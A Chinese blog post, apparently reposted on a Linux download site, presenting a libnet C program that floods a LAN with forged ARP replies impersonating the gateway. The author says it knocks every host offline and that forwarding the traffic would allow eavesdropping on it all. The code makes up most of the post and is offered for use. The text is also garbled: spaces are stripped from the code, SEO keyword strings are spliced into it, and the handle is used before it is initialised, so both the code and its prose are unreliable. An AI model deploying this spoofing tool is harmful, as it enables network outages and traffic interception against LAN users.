LinuxDown

LinuxDown.com
Linux系统下载网——精选每一篇高品质的技术干货
  1. 首页
  2. 开源快讯
  3. 正文

Linux使用libnet实现ARP攻击脚本分析|

2023年4月18日 116点热度

这篇文章主要介绍了Linux使用libnet实现ARP功击脚本剖析,你们可以参考防治这样的功击

闲来无事,用libnet写了个简单的ARP功击。原先觉得ARP功击不是非常常见,不过近来工作中倒是遇见过两次ARP误导的风波。虽然ARP误导的原理灰常简单滴,大部份都是在局域网中发送伪造的ARP广播包,广播包的目的是干嘛呢?很简单,误导外网的所有主机,告诉被害主机,“我”是网段。外网机器接收到这些广播包以后,会刷新自己ARP缓存表,把网段的IP和广播包中的源MAC绑定。这样功击机器就达到了假冒网段的目的。

先前一所学院就是被ARP误导功击linux 发送arp广播包,她们的中学主页一打开都会跳出其他好多乱七八糟的页面,,,,当时查看她们WEB服务器的源代码,发觉没有被插入那些会弹页面的代码,并且用浏览器内网访问的时侯,这种代码就出现了linux 发送arp广播包,很显著网站的返回的顾客端数据在途中被绑架更改了(插入了一些代码)。

下边实现的就比较简单了,只做误导linux操作系统论文,不做转发,造成的后果就是局域网所有主机会断网。测试了一下,外网主机会未能上网,安了360ARP防护的会报案,能上网,就是网速有点慢,而且辨识出了的功击主机似乎不确切,试了几次都辨识成正常的笔记本在功击,不晓得360这个辨识是不是通过源MAC地址辨识还是怎样辨识。

复制代码代码如下:

#include"arp.h"

intmain(intargc,char**argv){

libnet_t*l;

inti,packet_size;//发送的数据包的宽度

libnet_ptag_tarp_tag,ether_tag;

char*device="eth0";

win7怎么发送arp请求_arp广播间隔_linux 发送arp广播包

charerr_buf[LIBNET_ERRBUF_SIZE];

char*destion_ip_str="255.255.255.255";

char*source_ip_str="192.168.1.1";

u_charsource_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};

u_chardestion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};

u_int32_tsource_ip,destion_ip;

//将字符方式ip转换为网路字节序

 source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);

destion_ip=libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);

//初始化libnet句柄

linux 发送arp广播包_arp广播间隔_win7怎么发送arp请求

l=libnet_init(LIBNET_LINK,device,err_buf);

if(l==NULL){

printf("初始化libnet句柄失败:%sn",err_buf);

exit(-1);

}

arp_tag=libnet_build_arp(

ARPHRD_ETHER,//硬件地址类型,此处为以太网类型

ETHERTYPE_IP,//合同地址类型

6,

4,

win7怎么发送arp请求_arp广播间隔_linux 发送arp广播包

ARPOP_REPLY,//ARP应答

source_hardware,

(u_int8_t*)&source_ip,

destion_hardware,

(u_int8_t*)&destion_ip,

NULL,//无负载

0,//负载宽度为0

l,

0//合同块标记,为0,表示新建合同块

);

linux 发送arp广播包_arp广播间隔_win7怎么发送arp请求

ether_tag=libnet_build_ethernet(

(u_int8_t*)&destion_hardware,

(u_int8_t*)&source_hardware,

ETHERTYPE_ARP,

NULL,

0,

l,

0

);

i=0;

win7怎么发送arp请求_linux 发送arp广播包_arp广播间隔

while(1){

packet_size=libnet_write(l);//发送构造的ARP数据包

usleep(10);

i++;

}

printf("数据包厚度为:%dn",packet_size);

libnet_destroy(l);

return0;

}

目标MAC为广播地址linux设置环境变量,全0xff就行,源MAC地址可以为本机MAC或则随意伪造的MAC(在程序中获取本机MAC可用ioctl函数,近来在写DDOS功击程序就是用ioctl获取本机MAC和IP的),注意ARP包类型为ARPOP_REPLY(应答包)。

若果不想弄断网,只进行愚弄的话,数据发送过来以后,要进行转发到正确的网段,这样就保证外网网路正常,但是所有数据都被窃听了

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: arp arp协议 arp欺骗 char linux系统
最后更新:2023年4月18日

Linux系统下载网

每日更新,欢迎收藏♥ 不积跬步无以至千里,加油,共勉。

点赞
< 上一篇
下一篇 >

Linux系统下载网

每日更新,欢迎收藏♥
不积跬步无以至千里,加油,共勉。

最新 热点 随机
最新 热点 随机
Linux基础命令大全,轻松掌握! 微软Build2023助力全球开发者共同把握新机遇 RedHat 6.5下载、安装配置,官网提供! 无需公网IP、不用路由器设置,就能实现Windows远程访问Linux系统办法 微软Build大会宣布了哪些重大产品和更新?回来了 Redhat启动界面问题解决,畅享系统体验! Linux解压zip文件9招 基于Linux系统的USBHOST驱动程序设计与实现(HC) Linux退出文本编辑,优雅又简单! 斑马智行王恺:智能网联汽车技术进步与商业化应用 安装必要工具**-- Linux内核24版源代码全解析! Linux系统管理 Fedora20安装指南:轻松上手 Java的软件工具开发包是什么样的?Java浏览器 双系统轻松删,电脑管理更便捷! Linux与Windows文件路径转换技巧 美国Linux服务器系统账户的管理事项有哪些呢? Linux下载WPS字体库,完美解决字体显示问题! 《Linux应用大全服务器架设》内容涉及Linux系统级解决方案
Linux也能玩安卓应用,9个简单安装步骤!Linux基础命令大全,轻松掌握!嵌入式系统接口设计与Linux驱动开发:9方面详解Linux下配置JDK、Tomcat以及部署geowebcache配置地图发布环境掌握Linux系统调用头文件,轻松实现应用案例各个Linux系统设置开机自启动脚本示例代码:微软VisualStudio2015支持外接应用安装步骤和新功能Linux高效开发 | CodeBlocks编程利器node切换工具nvm安装并切换nodejs版本的注意事项!轻松查询20款主流Linux发行版本,全面了解最新动态韩国Linux多线程服务端编程使用C++网络库编程linux修改文件名字命令 本文10个小技巧,让你成为更高效的Linux高手掌握Linux查询版本命令,轻松获取系统信息Linux开机后自动运行用户的应用程序或启动系统服务的命令深入了解Linux内核底层奥秘,掌握查看技巧Linux操作系统的命令及管理命令汇总!!Linuxx64的安装安装方式及安装Linux系统CPU内存查询技巧:轻松掌握使用情况深度剖析arm linux内核启动,图文详解!(Linux基础知识)Linux版本的查看方法及版本命令
Linux内核通信方式详细解析:探讨八种实现方法 Linux防火墙设置攻略-安亲宝助力网络安全 光驱一个使用过程中会检测媒介 虚拟机装deepin,电脑焕然新生 轻松掌握Linux世界:虚拟机Linux下载文件指南 各个Linux系统设置开机自启动脚本示例代码: Linux下对TFT-LCD的显示驱动技术和显示设备驱动 Linux下Qt开发程序如何设置图标?20秒学会! Linux串口驱动优化与调试技巧 轻松掌握Linux启动应用程序命令,提高工作效率 轻松搞定Latex:Linux上安装TexLive宏包和工具 美国Linux服务器系统账户的管理事项有哪些呢? 探究Linux最新发行版的亮点和改进趋势 北京周末嵌入式Linux培训,轻松掌握开发技能! 不妨教程安装LinuxMint19.2试试版镜像站 解锁Linux声卡创新 KX驱动,音效焕发新生! -a查看linux内核的版本号和RedHat信息 VMware10安装Linux,打造高效开发环境! 高效稳定的开发环境,红帽Linux ISO下载指南 cp(copy)命令功能介绍-i(interactive)
标签聚合
linux服务器 centos 虚拟机 命令模式 操作 linux系统 sudo 文件目录 电脑 软件
书籍
课程
技术群
技术干货大合集↓
  • 2023年5月 / 108篇
  • 2023年4月 / 115篇
  • 2023年3月 / 265篇
友情链接:

Linux书籍 | Linux命令 | Linux系统 | RHCE红帽认证 | Linux软件 | Linux教程 | CentOS系统 | Linux内核 | Linux服务器 | Linux大神 | IT资源

COPYRIGHT © 2023 LinuxDown.com ALL RIGHTS RESERVED.

京ICP备14023444号-2